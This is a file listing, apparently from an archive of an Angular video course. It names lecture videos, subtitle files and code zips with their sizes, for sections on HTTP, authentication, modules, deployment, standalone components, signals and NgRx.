    18 - Making Http Requests/275 - Response Interceptors.mp4 27.76 MB
    18 - Making Http Requests/275 - http-08-interceptor.zip 36.65 KB
    18 - Making Http Requests/276 - Multiple Interceptors English.srt 7.8 KB
    18 - Making Http Requests/276 - Multiple Interceptors.mp4 47.08 MB
    18 - Making Http Requests/277 - Wrap Up English.srt 3.3 KB
    18 - Making Http Requests/277 - Wrap Up.mp4 14.6 MB
    18 - Making Http Requests/277 - http-09-finished.zip 23.91 KB
    18 - Making Http Requests/278 - Useful Resources Links.html 180 B
    18 - Making Http Requests/278 - http-01-start.zip 32.41 KB
    18 - Making Http Requests/278 - http-02-post-requests.zip 33.71 KB
    18 - Making Http Requests/278 - http-03-get-and-transform-data.zip 35.33 KB
    18 - Making Http Requests/278 - http-04-loading-indicator.zip 35.32 KB
    18 - Making Http Requests/278 - http-05-handling-errors.zip 36.2 KB
    18 - Making Http Requests/278 - http-06-headers.zip 1.68 KB
    18 - Making Http Requests/278 - http-07-query-params.zip 35.82 KB
    18 - Making Http Requests/278 - http-08-interceptor.zip 36.65 KB
    18 - Making Http Requests/278 - http-09-finished.zip 23.91 KB
    19 - Course Project Http/279 - Module Introduction English.srt 1.19 KB
    19 - Course Project Http/279 - Module Introduction.mp4 2.86 MB
    19 - Course Project Http/280 - Backend Firebase Setup English.srt 3.45 KB
    19 - Course Project Http/280 - Backend Firebase Setup.mp4 15.42 MB
    19 - Course Project Http/281 - Setting Up the DataStorage Service English.srt 9.59 KB
    19 - Course Project Http/281 - Setting Up the DataStorage Service.mp4 38.3 MB
    19 - Course Project Http/282 - Storing Recipes English.srt 12.32 KB
    19 - Course Project Http/282 - Storing Recipes.mp4 60.22 MB
    19 - Course Project Http/283 - Fetching Recipes English.srt 10.28 KB
    19 - Course Project Http/283 - Fetching Recipes.mp4 40.34 MB
    19 - Course Project Http/283 - prj-http-01-save-and-fetch-recipes.zip 76.94 KB
    19 - Course Project Http/284 - Transforming Response Data English.srt 7.62 KB
    19 - Course Project Http/284 - Transforming Response Data.mp4 44.17 MB
    19 - Course Project Http/285 - Resolving Data Before Loading English.srt 12.53 KB
    19 - Course Project Http/285 - Resolving Data Before Loading.mp4 78.01 MB
    19 - Course Project Http/286 - Fixing a Bug with the Resolver English.srt 2.08 KB
    19 - Course Project Http/286 - Fixing a Bug with the Resolver.mp4 12.6 MB
    19 - Course Project Http/286 - prj-http-02-finished.zip 82.79 KB
    2 - The Basics/14 - Module Introduction English.srt 1.71 KB
    2 - The Basics/14 - Module Introduction.mp4 4.14 MB
    2 - The Basics/15 - How an Angular App gets Loaded and Started English.srt 12.63 KB
    2 - The Basics/15 - How an Angular App gets Loaded and Started.mp4 47.27 MB
    2 - The Basics/16 - Components are Important English.srt 5.26 KB
    2 - The Basics/16 - Components are Important.mp4 16.2 MB
    2 - The Basics/17 - Creating a New Component English.srt 12.3 KB
    2 - The Basics/17 - Creating a New Component.mp4 33.35 MB
    2 - The Basics/18 - Understanding the Role of AppModule and Component Declaration English.srt 9.12 KB
    2 - The Basics/18 - Understanding the Role of AppModule and Component Declaration.mp4 27.31 MB
    2 - The Basics/19 - Using Custom Components English.srt 1.87 KB
    2 - The Basics/19 - Using Custom Components.mp4 5.31 MB
    2 - The Basics/20 - Creating Components with the CLI Nesting Components English.srt 4.84 KB
    2 - The Basics/20 - Creating Components with the CLI Nesting Components.mp4 23.54 MB
    2 - The Basics/21 - Working with Component Templates English.srt 5.08 KB
    2 - The Basics/21 - Working with Component Templates.mp4 27.42 MB
    2 - The Basics/22 - Working with Component Styles English.srt 6.34 KB
    2 - The Basics/22 - Working with Component Styles.mp4 27.15 MB
    2 - The Basics/23 - Fully Understanding the Component Selector English.srt 5.82 KB
    2 - The Basics/23 - Fully Understanding the Component Selector.mp4 26.57 MB
    2 - The Basics/23 - basics-components.zip 39.09 KB
    2 - The Basics/24 - OPTIONAL Assignment Solution English.srt 10.89 KB
    2 - The Basics/24 - OPTIONAL Assignment Solution.mp4 45.66 MB
    2 - The Basics/24 - basics-assignment-1-solution.zip 41.03 KB
    2 - The Basics/25 - What is Databinding English.srt 5.17 KB
    2 - The Basics/25 - What is Databinding.mp4 10.89 MB
    2 - The Basics/26 - String Interpolation English.srt 9.6 KB
    2 - The Basics/26 - String Interpolation.mp4 74.35 MB
    2 - The Basics/27 - Property Binding English.srt 11.21 KB
    2 - The Basics/27 - Property Binding.mp4 45.01 MB
    2 - The Basics/28 - Property Binding vs String Interpolation English.srt 5.35 KB
    2 - The Basics/28 - Property Binding vs String Interpolation.mp4 45.86 MB
    2 - The Basics/29 - Event Binding English.srt 7.68 KB
    2 - The Basics/29 - Event Binding.mp4 29.15 MB
    2 - The Basics/30 - Bindable Properties and Events.html 634 B
    2 - The Basics/31 - Passing and Using Data with Event Binding English.srt 7.68 KB
    2 - The Basics/31 - Passing and Using Data with Event Binding.mp4 70.54 MB
    2 - The Basics/32 - Important FormsModule is Required for TwoWayBinding.html 444 B
    2 - The Basics/33 - TwoWayDatabinding English.srt 4.96 KB
    2 - The Basics/33 - TwoWayDatabinding.mp4 23.82 MB
    2 - The Basics/34 - Combining all Forms of Databinding English.srt 3.14 KB
    2 - The Basics/34 - Combining all Forms of Databinding.mp4 13.83 MB
    2 - The Basics/34 - basics-databinding.zip 39.75 KB
    2 - The Basics/35 - OPTIONAL Assignment Solution English.srt 8.45 KB
    2 - The Basics/35 - OPTIONAL Assignment Solution.mp4 46.18 MB
    2 - The Basics/35 - basics-assignment-2-solution.zip 36.12 KB
    2 - The Basics/36 - Understanding Directives English.srt 3.63 KB
    2 - The Basics/36 - Understanding Directives.mp4 7.25 MB
    2 - The Basics/37 - Using ngIf to Output Data Conditionally English.srt 6.26 KB
    2 - The Basics/37 - Using ngIf to Output Data Conditionally.mp4 32.38 MB
    2 - The Basics/38 - Enhancing ngIf with an Else Condition English.srt 4.52 KB
    2 - The Basics/38 - Enhancing ngIf with an Else Condition.mp4 26.01 MB
    2 - The Basics/39 - Styling Elements Dynamically with ngStyle English.srt 8.33 KB
    2 - The Basics/39 - Styling Elements Dynamically with ngStyle.mp4 43.04 MB
    2 - The Basics/40 - Applying CSS Classes Dynamically with ngClass English.srt 4.69 KB
    2 - The Basics/40 - Applying CSS Classes Dynamically with ngClass.mp4 24.68 MB
    2 - The Basics/41 - Outputting Lists with ngFor English.srt 5.65 KB
    2 - The Basics/41 - Outputting Lists with ngFor.mp4 34.7 MB
    2 - The Basics/42 - OPTIONAL Assignment Solution English.srt 11.92 KB
    2 - The Basics/42 - OPTIONAL Assignment Solution.mp4 63.17 MB
    2 - The Basics/42 - basics-assignment-3-solution.zip 36.35 KB
    2 - The Basics/43 - Getting the Index when using ngFor English.srt 4.42 KB
    2 - The Basics/43 - Getting the Index when using ngFor.mp4 46.71 MB
    2 - The Basics/43 - basics-components.zip 39.09 KB
    2 - The Basics/43 - basics-databinding.zip 39.75 KB
    2 - The Basics/43 - basics-directives.zip 39.81 KB
    2 - The Basics/43 - basics-ngfor-addition.zip 35.25 KB
    20 - Authentication Route Protection in Angular/287 - Module Introduction English.srt 1.19 KB
    20 - Authentication Route Protection in Angular/287 - Module Introduction.mp4 882.49 KB
    20 - Authentication Route Protection in Angular/288 - How Authentication Works English.srt 7.06 KB
    20 - Authentication Route Protection in Angular/288 - How Authentication Works.mp4 6.89 MB
    20 - Authentication Route Protection in Angular/289 - Adding the Auth Page English.srt 11.71 KB
    20 - Authentication Route Protection in Angular/289 - Adding the Auth Page.mp4 57.36 MB
    20 - Authentication Route Protection in Angular/289 - auth-01-auth-component.zip 76.16 KB
    20 - Authentication Route Protection in Angular/290 - Switching Between Auth Modes English.srt 7.55 KB
    20 - Authentication Route Protection in Angular/290 - Switching Between Auth Modes.mp4 17.63 MB
    20 - Authentication Route Protection in Angular/291 - Handling Form Input English.srt 6.55 KB
    20 - Authentication Route Protection in Angular/291 - Handling Form Input.mp4 30.62 MB
    20 - Authentication Route Protection in Angular/291 - auth-02-auth-form.zip 74.52 KB
    20 - Authentication Route Protection in Angular/292 - Preparing the Backend English.srt 5.94 KB
    20 - Authentication Route Protection in Angular/292 - Preparing the Backend.mp4 11.82 MB
    20 - Authentication Route Protection in Angular/293 - Make sure you got Recipes in your backend.html 313 B
    20 - Authentication Route Protection in Angular/294 - Preparing the Signup Request English.srt 14.45 KB
    20 - Authentication Route Protection in Angular/294 - Preparing the Signup Request.mp4 84.46 MB
    20 - Authentication Route Protection in Angular/295 - Sending the Signup Request English.srt 8.44 KB
    20 - Authentication Route Protection in Angular/295 - Sending the Signup Request.mp4 29.27 MB
    20 - Authentication Route Protection in Angular/296 - Adding a Loading Spinner Error Handling Logic English.srt 12.13 KB
    20 - Authentication Route Protection in Angular/296 - Adding a Loading Spinner Error Handling Logic.mp4 76.09 MB
    20 - Authentication Route Protection in Angular/296 - auth-03-signup-request.zip 80.6 KB
    20 - Authentication Route Protection in Angular/297 - Improving Error Handling English.srt 9.5 KB
    20 - Authentication Route Protection in Angular/297 - Improving Error Handling.mp4 76.91 MB
    20 - Authentication Route Protection in Angular/298 - Sending Login Requests English.srt 9.8 KB
    20 - Authentication Route Protection in Angular/298 - Sending Login Requests.mp4 64.87 MB
    20 - Authentication Route Protection in Angular/298 - auth-04-added-login.zip 80.55 KB
    20 - Authentication Route Protection in Angular/299 - Login Error Handling English.srt 7.54 KB
    20 - Authentication Route Protection in Angular/299 - Login Error Handling.mp4 47.11 MB
    20 - Authentication Route Protection in Angular/300 - Creating Storing the User Data English.srt 16.96 KB
    20 - Authentication Route Protection in Angular/300 - Creating Storing the User Data.mp4 98.79 MB
    20 - Authentication Route Protection in Angular/301 - Reflecting the Auth State in the UI English.srt 16.95 KB
    20 - Authentication Route Protection in Angular/301 - Reflecting the Auth State in the UI.mp4 90.81 MB
    20 - Authentication Route Protection in Angular/302 - Adding the Token to Outgoing Requests English.srt 17.4 KB
    20 - Authentication Route Protection in Angular/302 - Adding the Token to Outgoing Requests.mp4 119.33 MB
    20 - Authentication Route Protection in Angular/303 - Attaching the Token with an Interceptor English.srt 13.88 KB
    20 - Authentication Route Protection in Angular/303 - Attaching the Token with an Interceptor.mp4 102.21 MB
    20 - Authentication Route Protection in Angular/303 - auth-05-added-token-to-requests.zip 85.52 KB
    20 - Authentication Route Protection in Angular/304 - Adding Logout English.srt 5.47 KB
    20 - Authentication Route Protection in Angular/304 - Adding Logout.mp4 29.74 MB
    20 - Authentication Route Protection in Angular/304 - auth-06-logout.zip 79.98 KB
    20 - Authentication Route Protection in Angular/305 - Adding AutoLogin English.srt 17.53 KB
    20 - Authentication Route Protection in Angular/305 - Adding AutoLogin.mp4 95.48 MB
    20 - Authentication Route Protection in Angular/306 - Adding AutoLogout English.srt 13.6 KB
    20 - Authentication Route Protection in Angular/306 - Adding AutoLogout.mp4 78.12 MB
    20 - Authentication Route Protection in Angular/306 - auth-07-autologin-autologout.zip 85.74 KB
    20 - Authentication Route Protection in Angular/307 - Adding an Auth Guard English.srt 18.22 KB
    20 - Authentication Route Protection in Angular/307 - Adding an Auth Guard.mp4 105.32 MB
    20 - Authentication Route Protection in Angular/308 - Wrap Up English.srt 3.59 KB
    20 - Authentication Route Protection in Angular/308 - Wrap Up.mp4 13.96 MB
    20 - Authentication Route Protection in Angular/308 - auth-08-finished.zip 76.54 KB
    20 - Authentication Route Protection in Angular/309 - Useful Resources Links.html 351 B
    20 - Authentication Route Protection in Angular/309 - auth-01-auth-component.zip 76.16 KB
    20 - Authentication Route Protection in Angular/309 - auth-02-auth-form.zip 74.52 KB
    20 - Authentication Route Protection in Angular/309 - auth-03-signup-request.zip 80.6 KB
    20 - Authentication Route Protection in Angular/309 - auth-04-added-login.zip 80.55 KB
    20 - Authentication Route Protection in Angular/309 - auth-05-added-token-to-requests.zip 85.52 KB
    20 - Authentication Route Protection in Angular/309 - auth-06-logout.zip 79.98 KB
    20 - Authentication Route Protection in Angular/309 - auth-07-autologin-autologout.zip 85.74 KB
    20 - Authentication Route Protection in Angular/309 - auth-08-finished.zip 76.54 KB
    21 - Dynamic Components/310 - Module Introduction English.srt 1.36 KB
    21 - Dynamic Components/310 - Module Introduction.mp4 1.29 MB
    21 - Dynamic Components/311 - Adding an Alert Modal Component English.srt 12.15 KB
    21 - Dynamic Components/311 - Adding an Alert Modal Component.mp4 47.26 MB
    21 - Dynamic Components/312 - Understanding the Different Approaches English.srt 3.57 KB
    21 - Dynamic Components/312 - Understanding the Different Approaches.mp4 4.5 MB
    21 - Dynamic Components/313 - Using ngIf English.srt 5.11 KB
    21 - Dynamic Components/313 - Using ngIf.mp4 31.34 MB
    21 - Dynamic Components/314 - Preparing Programmatic Creation English.srt 14.34 KB
    21 - Dynamic Components/314 - Preparing Programmatic Creation.mp4 78.53 MB
    21 - Dynamic Components/315 - Creating a Component Programmatically English.srt 8.59 KB
    21 - Dynamic Components/315 - Creating a Component Programmatically.mp4 58.75 MB
    21 - Dynamic Components/316 - About entryComponents.html 386 B
    21 - Dynamic Components/317 - Understanding entryComponents English.srt 9.64 KB
    21 - Dynamic Components/317 - Understanding entryComponents.mp4 66.5 MB
    21 - Dynamic Components/318 - Data Binding Event Binding English.srt 8.26 KB
    21 - Dynamic Components/318 - Data Binding Event Binding.mp4 57.68 MB
    21 - Dynamic Components/319 - Wrap Up English.srt 2.79 KB
    21 - Dynamic Components/319 - Wrap Up.mp4 14.79 MB
    21 - Dynamic Components/320 - Useful Resources Links.html 220 B
    21 - Dynamic Components/320 - dyn-cmp-finished.zip 87.33 KB
    22 - Angular Modules Optimizing Angular Apps/321 - Module Introduction English.srt 3.21 KB
    22 - Angular Modules Optimizing Angular Apps/321 - Module Introduction.mp4 860.6 KB
    22 - Angular Modules Optimizing Angular Apps/322 - What are Modules English.srt 4.15 KB
    22 - Angular Modules Optimizing Angular Apps/322 - What are Modules.mp4 5.76 MB
    22 - Angular Modules Optimizing Angular Apps/323 - Analyzing the AppModule English.srt 11.63 KB
    22 - Angular Modules Optimizing Angular Apps/323 - Analyzing the AppModule.mp4 70.51 MB
    22 - Angular Modules Optimizing Angular Apps/324 - Getting Started with Feature Modules English.srt 15.35 KB
    22 - Angular Modules Optimizing Angular Apps/324 - Getting Started with Feature Modules.mp4 39.43 MB
    22 - Angular Modules Optimizing Angular Apps/324 - opt-mod-01-feature-module.zip 47.84 KB
    22 - Angular Modules Optimizing Angular Apps/325 - Splitting Modules Correctly English.srt 7.28 KB
    22 - Angular Modules Optimizing Angular Apps/325 - Splitting Modules Correctly.mp4 42.49 MB
    22 - Angular Modules Optimizing Angular Apps/326 - Adding Routes to Feature Modules English.srt 7.22 KB
    22 - Angular Modules Optimizing Angular Apps/326 - Adding Routes to Feature Modules.mp4 33.45 MB
    22 - Angular Modules Optimizing Angular Apps/326 - opt-mod-02-routing-module.zip 48.29 KB
    22 - Angular Modules Optimizing Angular Apps/327 - Component Declarations English.srt 3.55 KB
    22 - Angular Modules Optimizing Angular Apps/327 - Component Declarations.mp4 25.3 MB
    22 - Angular Modules Optimizing Angular Apps/328 - The ShoppingList Feature Module English.srt 5.88 KB
    22 - Angular Modules Optimizing Angular Apps/328 - The ShoppingList Feature Module.mp4 60.8 MB
    22 - Angular Modules Optimizing Angular Apps/329 - Understanding Shared Modules English.srt 14.85 KB
    22 - Angular Modules Optimizing Angular Apps/329 - Understanding Shared Modules.mp4 76.22 MB
    22 - Angular Modules Optimizing Angular Apps/329 - opt-mod-03-shared-module.zip 48.93 KB
    22 - Angular Modules Optimizing Angular Apps/330 - Understanding the Core Module English.srt 10.2 KB
    22 - Angular Modules Optimizing Angular Apps/330 - Understanding the Core Module.mp4 47.5 MB
    22 - Angular Modules Optimizing Angular Apps/330 - opt-mod-04-core-module.zip 48.88 KB
    22 - Angular Modules Optimizing Angular Apps/331 - Adding an Auth Feature Module English.srt 8.19 KB
    22 - Angular Modules Optimizing Angular Apps/331 - Adding an Auth Feature Module.mp4 43.39 MB
    22 - Angular Modules Optimizing Angular Apps/332 - Understanding Lazy Loading English.srt 3.55 KB
    22 - Angular Modules Optimizing Angular Apps/332 - Understanding Lazy Loading.mp4 4.04 MB
    22 - Angular Modules Optimizing Angular Apps/333 - Implementing Lazy Loading English.srt 22.48 KB
    22 - Angular Modules Optimizing Angular Apps/333 - Implementing Lazy Loading.mp4 157.92 MB
    22 - Angular Modules Optimizing Angular Apps/333 - opt-mod-05-lazy-loading.zip 95.47 KB
    22 - Angular Modules Optimizing Angular Apps/334 - More Lazy Loading English.srt 5.21 KB
    22 - Angular Modules Optimizing Angular Apps/334 - More Lazy Loading.mp4 29.16 MB
    22 - Angular Modules Optimizing Angular Apps/335 - Preloading LazyLoaded Code English.srt 6.2 KB
    22 - Angular Modules Optimizing Angular Apps/335 - Preloading LazyLoaded Code.mp4 23.72 MB
    22 - Angular Modules Optimizing Angular Apps/336 - Modules Services English.srt 10.57 KB
    22 - Angular Modules Optimizing Angular Apps/336 - Modules Services.mp4 11.42 MB
    22 - Angular Modules Optimizing Angular Apps/337 - Loading Services Differently English.srt 14.54 KB
    22 - Angular Modules Optimizing Angular Apps/337 - Loading Services Differently.mp4 57.27 MB
    22 - Angular Modules Optimizing Angular Apps/338 - Useful Resources Links.html 353 B
    22 - Angular Modules Optimizing Angular Apps/338 - opt-mod-01-feature-module.zip 47.84 KB
    22 - Angular Modules Optimizing Angular Apps/338 - opt-mod-02-routing-module.zip 48.29 KB
    22 - Angular Modules Optimizing Angular Apps/338 - opt-mod-03-shared-module.zip 48.93 KB
    22 - Angular Modules Optimizing Angular Apps/338 - opt-mod-04-core-module.zip 48.88 KB
    22 - Angular Modules Optimizing Angular Apps/338 - opt-mod-05-lazy-loading.zip 95.47 KB
    22 - Angular Modules Optimizing Angular Apps/338 - opt-mod-06-finished.zip 94.49 KB
    23 - Deploying an Angular App/339 - Module Introduction English.srt 1.48 KB
    23 - Deploying an Angular App/339 - Module Introduction.mp4 838.16 KB
    23 - Deploying an Angular App/340 - Deployment Preparation Steps English.srt 5.59 KB
    23 - Deploying an Angular App/340 - Deployment Preparation Steps.mp4 5.23 MB
    23 - Deploying an Angular App/341 - Using Environment Variables English.srt 8.02 KB
    23 - Deploying an Angular App/341 - Using Environment Variables.mp4 36.8 MB
    23 - Deploying an Angular App/342 - Deploying Angular Applications.html 360 B
    23 - Deploying an Angular App/343 - Deployment Example Firebase Hosting English.srt 17.88 KB
    23 - Deploying an Angular App/343 - Deployment Example Firebase Hosting.mp4 91.94 MB
    23 - Deploying an Angular App/343 - deployment-finished.zip 98.24 KB
    23 - Deploying an Angular App/344 - Server Routing vs Browser Routing.html 403 B
    23 - Deploying an Angular App/344 - deployment-finished.zip 98.24 KB
    24 - Standalone Components/345 - Module Introduction English.srt 2.41 KB
    24 - Standalone Components/345 - Module Introduction.mp4 3.58 MB
    24 - Standalone Components/346 - 01-starting-project.zip 212.03 KB
    24 - Standalone Components/346 - Starting Setup Why We Want Standalone Components English.srt 7.92 KB
    24 - Standalone Components/346 - Starting Setup Why We Want Standalone Components.mp4 29.49 MB
    24 - Standalone Components/347 - Building a First Standalone Component English.srt 16.73 KB
    24 - Standalone Components/347 - Building a First Standalone Component.mp4 144.67 MB
    24 - Standalone Components/348 - Standalone Components Are Now Stable.html 964 B
    24 - Standalone Components/349 - Standalone Directives Connecting Building Blocks English.srt 4.1 KB
    24 - Standalone Components/349 - Standalone Directives Connecting Building Blocks.mp4 15.95 MB
    24 - Standalone Components/350 - Migrating Another Component English.srt 3.28 KB
    24 - Standalone Components/350 - Migrating Another Component.mp4 10.28 MB
    24 - Standalone Components/351 - A Standalone Root Component English.srt 6.99 KB
    24 - Standalone Components/351 - A Standalone Root Component.mp4 45.99 MB
    24 - Standalone Components/352 - 02-migrated-cmp.zip 211.81 KB
    24 - Standalone Components/352 - Services Standalone Components English.srt 6.68 KB
    24 - Standalone Components/352 - Services Standalone Components.mp4 39.14 MB
    24 - Standalone Components/353 - 03-starting-with-routing.zip 216.99 KB
    24 - Standalone Components/353 - Routing with Standalone Components English.srt 10.53 KB
    24 - Standalone Components/353 - Routing with Standalone Components.mp4 91.93 MB
    24 - Standalone Components/354 - Lazy Loading English.srt 13.44 KB
    24 - Standalone Components/354 - Lazy Loading.mp4 82.91 MB
    24 - Standalone Components/355 - 04-finished.zip 215.32 KB
    24 - Standalone Components/355 - Summary English.srt 3.15 KB
    24 - Standalone Components/355 - Summary.mp4 11.14 MB
    25 - Angular Signals/356 - Module Introduction English.srt 1.73 KB
    25 - Angular Signals/356 - Module Introduction.mp4 2.28 MB
    25 - Angular Signals/357 - Signals What Why English.srt 9.87 KB
    25 - Angular Signals/357 - Signals What Why.mp4 22.83 MB
    25 - Angular Signals/358 - 01-Starting-Setup.zip 17.95 KB
    25 - Angular Signals/358 - Creating a New Signal English.srt 5.03 KB
    25 - Angular Signals/358 - Creating a New Signal.mp4 16.58 MB
    25 - Angular Signals/359 - Updating a Signal Value English.srt 4 KB
    25 - Angular Signals/359 - Updating a Signal Value.mp4 8.43 MB
    25 - Angular Signals/360 - Reading Outputting a Signal Value English.srt 3.24 KB
    25 - Angular Signals/360 - Reading Outputting a Signal Value.mp4 15.93 MB
    25 - Angular Signals/361 - Signal Updating set update mutate English.srt 9.35 KB
    25 - Angular Signals/361 - Signal Updating set update mutate.mp4 27.32 MB
    25 - Angular Signals/362 - Important Signals are NOT Finished Yet English.srt 1.6 KB
    25 - Angular Signals/362 - Important Signals are NOT Finished Yet.mp4 16.46 MB
    25 - Angular Signals/363 - Signals Whats To Come.html 1.67 KB
    25 - Angular Signals/364 - Computed Values Effects English.srt 5.55 KB
    25 - Angular Signals/364 - Computed Values Effects.mp4 19.06 MB
    25 - Angular Signals/365 - 02-Finished.zip 20.42 KB
    25 - Angular Signals/365 - Module Summary English.srt 1.39 KB
    25 - Angular Signals/365 - Module Summary.mp4 3.25 MB
    26 - Bonus Using NgRx For State Management/366 - Module Introduction English.srt 1.4 KB
    26 - Bonus Using NgRx For State Management/366 - Module Introduction.mp4 2.5 MB
    26 - Bonus Using NgRx For State Management/367 - What Is NgRx English.srt 3.17 KB
    26 - Bonus Using NgRx For State Management/367 - What Is NgRx.mp4 9.9 MB
    26 - Bonus Using NgRx For State Management/368 - Understanding NgRx Its Building Blocks English.srt 5.87 KB
    26 - Bonus Using NgRx For State Management/368 - Understanding NgRx Its Building Blocks.mp4 11.53 MB
    26 - Bonus Using NgRx For State Management/369 - 01-starting-setup-standalone.zip 220.57 KB
    26 - Bonus Using NgRx For State Management/369 - 01-starting-setup.zip 220.03 KB
    26 - Bonus Using NgRx For State Management/369 - Project Setup Installing NgRx English.srt 7.81 KB
    26 - Bonus Using NgRx For State Management/369 - Project Setup Installing NgRx.mp4 37.99 MB
    26 - Bonus Using NgRx For State Management/370 - 03-added-first-reducer-standalone.zip 222.81 KB
    26 - Bonus Using NgRx For State Management/370 - 03-added-first-reducer.zip 222.19 KB
    26 - Bonus Using NgRx For State Management/370 - Adding a First Reducer Store Setup English.srt 13.5 KB
    26 - Bonus Using NgRx For State Management/370 - Adding a First Reducer Store Setup.mp4 63.27 MB
    26 - Bonus Using NgRx For State Management/371 - 04-alternative-reducer-syntax-standalone.zip 223.69 KB
    26 - Bonus Using NgRx For State Management/371 - 04-alternative-reducer-syntax.zip 223.11 KB
    26 - Bonus Using NgRx For State Management/371 - An Alternative Way Of Creating Reducers English.srt 7.07 KB
    26 - Bonus Using NgRx For State Management/371 - An Alternative Way Of Creating Reducers.mp4 14.02 MB
    26 - Bonus Using NgRx For State Management/372 - 05-selecting-data-from-store-standalone.zip 223.5 KB
    26 - Bonus Using NgRx For State Management/372 - 05-selecting-data-from-store.zip 222.89 KB
    26 - Bonus Using NgRx For State Management/372 - Reading Data From The Store English.srt 14.96 KB
    26 - Bonus Using NgRx For State Management/372 - Reading Data From The Store.mp4 105.04 MB
    26 - Bonus Using NgRx For State Management/373 - Introducing Actions State Changing Reducers English.srt 13.15 KB
    26 - Bonus Using NgRx For State Management/373 - Introducing Actions State Changing Reducers.mp4 30.98 MB
    26 - Bonus Using NgRx For State Management/374 - Dispatching Actions English.srt 5.77 KB
    26 - Bonus Using NgRx For State Management/374 - Dispatching Actions.mp4 21.38 MB
    26 - Bonus Using NgRx For State Management/375 - 06-added-actions.zip 221.42 KB
    26 - Bonus Using NgRx For State Management/375 - Attaching Data To Actions English.srt 6.87 KB
    26 - Bonus Using NgRx For State Management/375 - Attaching Data To Actions.mp4 29.15 MB
    26 - Bonus Using NgRx For State Management/376 - Handling Actions Without createReducer English.srt 9.65 KB
    26 - Bonus Using NgRx For State Management/376 - Handling Actions Without createReducer.mp4 29.02 MB
    26 - Bonus Using NgRx For State Management/377 - 07-alternative-syntax-standalone.zip 222.68 KB
    26 - Bonus Using NgRx For State Management/377 - 07-alternative-syntax.zip 222.23 KB
    26 - Bonus Using NgRx For State Management/377 - An Alternative Way Of Defining Actions English.srt 17.11 KB
    26 - Bonus Using NgRx For State Management/377 - An Alternative Way Of Defining Actions.mp4 106.02 MB
    26 - Bonus Using NgRx For State Management/378 - 08-practice-second-action-standalone.zip 223.36 KB
    26 - Bonus Using NgRx For State Management/378 - 08-practice-second-action.zip 222.76 KB
    26 - Bonus Using NgRx For State Management/378 - Time To Practice A Second Action English.srt 8.59 KB
    26 - Bonus Using NgRx For State Management/378 - Time To Practice A Second Action.mp4 48.16 MB
    26 - Bonus Using NgRx For State Management/379 - 09-selectors-standalone.zip 222.61 KB
    26 - Bonus Using NgRx For State Management/379 - 09-selectors.zip 221.91 KB
    26 - Bonus Using NgRx For State Management/379 - Exploring Selectors English.srt 12.83 KB
    26 - Bonus Using NgRx For State Management/379 - Exploring Selectors.mp4 58.12 MB
    26 - Bonus Using NgRx For State Management/380 - Introducing Effects English.srt 3.99 KB
    26 - Bonus Using NgRx For State Management/380 - Introducing Effects.mp4 12.35 MB
    26 - Bonus Using NgRx For State Management/381 - Installing the Effects Package English.srt 2.8 KB
    26 - Bonus Using NgRx For State Management/381 - Installing the Effects Package.mp4 23.11 MB
    26 - Bonus Using NgRx For State Management/382 - 10-first-effect-standalone.zip 224.14 KB
    26 - Bonus Using NgRx For State Management/382 - 10-first-effect.zip 223.42 KB
    26 - Bonus Using NgRx For State Management/382 - Defining a First Effect English.srt 14.04 KB
    26 - Bonus Using NgRx For State Management/382 - Defining a First Effect.mp4 36.72 MB
    26 - Bonus Using NgRx For State Management/383 - The Old Effect Decorator Registering Effects English.srt 5.49 KB
    26 - Bonus Using NgRx For State Management/383 - The Old Effect Decorator Registering Effects.mp4 44.71 MB
    26 - Bonus Using NgRx For State Management/384 - Using Store Data In Effects English.srt 5.04 KB
    26 - Bonus Using NgRx For State Management/384 - Using Store Data In Effects.mp4 16.83 MB
    26 - Bonus Using NgRx For State Management/385 - Adding a Second Effect English.srt 15.71 KB
    26 - Bonus Using NgRx For State Management/385 - Adding a Second Effect.mp4 114.79 MB
    26 - Bonus Using NgRx For State Management/386 - 11-intro-finished-standalone.zip 224.7 KB
    26 - Bonus Using NgRx For State Management/386 - 11-intro-finished.zip 223.98 KB
    26 - Bonus Using NgRx For State Management/386 - Summary English.srt 4.8 KB
    26 - Bonus Using NgRx For State Management/386 - Summary.mp4 16.37 MB
    26 - Bonus Using NgRx For State Management/387 - About The Remaining Section.html 1.69 KB
    26 - Bonus Using NgRx For State Management/387 - ngrx-08-finished-modern.zip 251.62 KB
    26 - Bonus Using NgRx For State Management/388 - Recipe Project Starting Code.html 366 B
    26 - Bonus Using NgRx For State Management/388 - ngrx-00-starting-project.zip 282.21 KB
    26 - Bonus Using NgRx For State Management/389 - Getting Started with Reducers English.srt 11.36 KB
    26 - Bonus Using NgRx For State Management/389 - Getting Started with Reducers.mp4 68.21 MB
    26 - Bonus Using NgRx For State Management/390 - Adding Logic to the Reducer English.srt 10.16 KB
    26 - Bonus Using NgRx For State Management/390 - Adding Logic to the Reducer.mp4 39.24 MB
    26 - Bonus Using NgRx For State Management/390 - ngrx-01-first-reducer-updated.zip 281.65 KB
    26 - Bonus Using NgRx For State Management/390 - ngrx-01-first-reducer.zip 96.63 KB
    26 - Bonus Using NgRx For State Management/391 - Understanding Adding Actions English.srt 10.85 KB
    26 - Bonus Using NgRx For State Management/391 - Understanding Adding Actions.mp4 39.35 MB
    26 - Bonus Using NgRx For State Management/392 - Setting Up the NgRx Store English.srt 8.06 KB
    26 - Bonus Using NgRx For State Management/392 - Setting Up the NgRx Store.mp4 35.31 MB
    26 - Bonus Using NgRx For State Management/392 - ngrx-02-added-store-updated.zip 282.57 KB
    26 - Bonus Using NgRx For State Management/392 - ngrx-02-added-store.zip 97.55 KB
    26 - Bonus Using NgRx For State Management/393 - Selecting State English.srt 15.47 KB
    26 - Bonus Using NgRx For State Management/393 - Selecting State.mp4 99.75 MB
    26 - Bonus Using NgRx For State Management/394 - Dispatching Actions English.srt 12.62 KB
    26 - Bonus Using NgRx For State Management/394 - Dispatching Actions.mp4 75.77 MB
    26 - Bonus Using NgRx For State Management/395 - Multiple Actions English.srt 16.44 KB
    26 - Bonus Using NgRx For State Management/395 - Multiple Actions.mp4 137.47 MB
    26 - Bonus Using NgRx For State Management/395 - ngrx-03-added-actions-updated.zip 283.69 KB
    26 - Bonus Using NgRx For State Management/395 - ngrx-03-added-actions.zip 98.71 KB
    26 - Bonus Using NgRx For State Management/396 - Preparing Update Delete Actions English.srt 5.35 KB
    26 - Bonus Using NgRx For State Management/396 - Preparing Update Delete Actions.mp4 24.46 MB
    26 - Bonus Using NgRx For State Management/397 - Updating Deleting Ingredients English.srt 19.03 KB
    26 - Bonus Using NgRx For State Management/397 - Updating Deleting Ingredients.mp4 75.92 MB
    26 - Bonus Using NgRx For State Management/398 - Expanding the State English.srt 15.11 KB
